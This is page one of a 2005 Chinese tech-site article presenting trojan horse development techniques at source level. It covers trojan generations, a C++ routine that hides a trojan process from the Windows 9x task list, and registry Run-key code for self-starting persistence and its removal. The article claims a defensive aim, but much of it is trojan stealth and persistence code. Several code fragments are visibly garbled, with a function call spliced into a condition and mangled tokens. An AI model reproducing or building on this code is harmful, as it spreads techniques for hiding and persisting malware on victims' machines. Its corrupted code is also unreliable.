频 道 直 达 - 新闻 - 读书 - 培训 - 教程 - 前沿 - 组网 - 系统应用 - 安全 - 编程 - 存储 - 操作系统 - 数据库 - 服务器 - 专题 - 产品 - 案例库 - 技术圈 - 博客 - BBS
51CTO.COM_中国领先的IT技术网站
找资料:

透视木马程序开发技术:病毒源代码详解(1)

作者: 大皮球 出处:天极网  (  ) 砖  (  ) 好  评论 ( ) 条  进入论坛
更新时间:2005-12-11 16:08
关 键 词:技术  病毒
阅读提示:基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,看来反黑工作要走的路还很长,从根本上防止木马,也只有从我们自身对木马的认识开始,希望这篇文章在您阅读之后能带给您一些反黑技术上的帮助。

近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行源代码级的详细的分析,让我们对木马的开发技术做一次彻底的透视,从了解木马技术开始,更加安全的管理好自己的计算机。

1、木马程序的分类

木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面纱》。

2.木马程序的隐藏技术

木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。

说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。

进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。

线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。

服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。

想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。

伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。

当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。

出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

{

try

{

DWORD dwVersion = GetVersion();//取得Windows的版本号

if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表

{

int (CALLBACK *rsp)(DWORD,DWORD);

HINSTANCE dll=LoadLibrary("KERNEL32.DLL");//装入KERNEL32.DLL

rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");//找到RegisterServiceProcess的入口

rsp(NULL,1);//注册服务

FreeLibrary(dll);//释放DLL模块

}

}

catch (Exception &exception)//处理异常事件

{

//处理异常事件

}

return 0;

} 

3、程序的自加载运行技术

让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run键值来实现自启动的程序:

自装载部分:

HKEY hkey;

AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">\\")+PName

unsigned long k;

k=REG_OPENED_EXISTING_KEY;

RegCreateKeyEx(HKEY_LOCAL_MACHINE,

"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\",

0L,

NULL,

REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,

NULL,

&hkey,&k);

RegSetValueEx(hkey,

"BackGroup",

0,

REG_SZ,

NewProgramName.c_str(),

NewProgramName.Length());

RegCloseKey(hkey);

if (int(ShellExecute(Handle,

"open",

NewProgramName.c_str(),

NULL,

NULL,

SW_HIDE))>32)

{

WantClose=true;

Close();

}

else

{

HKEY hkey;

unsigned long k;

k=REG_OPENED_EXISTING_KEY;

long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,

"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",

0,

NULL,

REG_OPTION_NON_VOLATILE,

KEY_SET_VALUE,NULL,

&hkey,&k);

RegSetValueEx(hkey,

"BackGroup",

0,

REG_SZ,

ProgramName.c_str(),

ProgramName.Length());

int num=0;

char str[20];

DWORD lth=20;

DWORD type;

char strv[255];

DWORD vl=254;

DWORD Suc;

do{

Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

(DWORD)num,str,

NULL,

&type,

strv,&vl);

if (strcmp(str,"BGroup")==0)

{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");

break;

}

}while(Suc== ERROR_SUCCESS);

RegCloseKey(hkey);

}

自装载程序的卸载代码:

int num;

char str2[20];

DWORD lth=20;

DWORD type;

char strv[255];

DWORD vl=254;

DWORD Suc;

do{

Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

(DWORD)num,

str,

NULL,

&type,

strv,

&vl);

if (strcmp(str,"BGroup")==0)

{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");

break;

}

}while(Suc== ERROR_SUCCESS)

HKEY hkey;

unsigned long k;

k=REG_OPENED_EXISTING_KEY;

RegCreateKeyEx(HKEY_LOCAL_MACHINE,

"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",

0,

NULL,

REG_OPTION_NON_VOLATILE,

KEY_SET_VALUE,NULL,

&hkey,

&k);

do{

Suc=RegEnumValue(hkey,(DWORD)num,str,if (strcmp(str,"BackGroup")==0)

{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");

break;

}

}while(Suc== ERROR_SUCCESS)

RegCloseKey(hkey);

其中自装载部分使用C++ Builder可以这样写,会比较简化:

TRegistry & regKey = *new TRegistry();

regKey.RootKey=HKEY_LOCAL_MACHINE;

regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);

if(!regKey.ValueExists("Interbase Server"))

{

regKey.WriteString("Interbase Server",

"D:\\Program Files\\Borland\\IntrBase\\BIN\\ibserver.exe");

}

regKey.CloseKey();

delete ®Key;


共3页: 1 [2] [3] 下一页
【内容导航】
发表
查看
我也说两句

匿名发表

(如果看不清请点击图片进行更换)


中 国 领 先 的 IT 技 术 网 站 ·
技 术 成 就 梦 想
订阅技术快讯
电子杂志下载
名称:网络安全精品应用黄皮书
简介:《2007精品网络安全黄皮书》包括了9个大类24个小类, 800余篇文章,内容包含了熊猫烧香病毒、DDOS攻击、ARP病等热点问题的介绍及解决方案。从病毒查杀、防范、系统、数据等各方面的安全设置到黑客技术的了解、防范,涉及到了安全应用的全部领域, 由浅至深内容全面。
名称:Vista精品应用黄皮书
简介:《Vista精品应用黄皮书》囊括了Vista的各方面内容。此次的精简版,是将里面的内容做了提取,便于用户下载和使用。内容包含了各种Vista的安装与实施、技巧与解析以及各种Vista相关学习文档和相关软件的安全下载。该电子书是了解和应用Vista人员必备的工具手册,并且也是第一本
名称:2006中国IT论坛精品集合
简介:本书由“51CTO论坛推广联盟”制作完成。书中所有内容均来自各联盟成员的论坛(网站)。制作本书的目的是为了集中大家的优势资源,将更多更精彩的内容带给广大技术爱好者。本书是联盟成立以来制作的第一本书。
关键字阅读
频道精选
主编信箱 热线:010-66476606 告诉我们您想看的:专题 文章
关于我们 | 诚聘英才 | 联系我们 | 网站大事 | 意见反馈 | 网站地图
Copyright©2005-2007 51CTO.COM 版权所有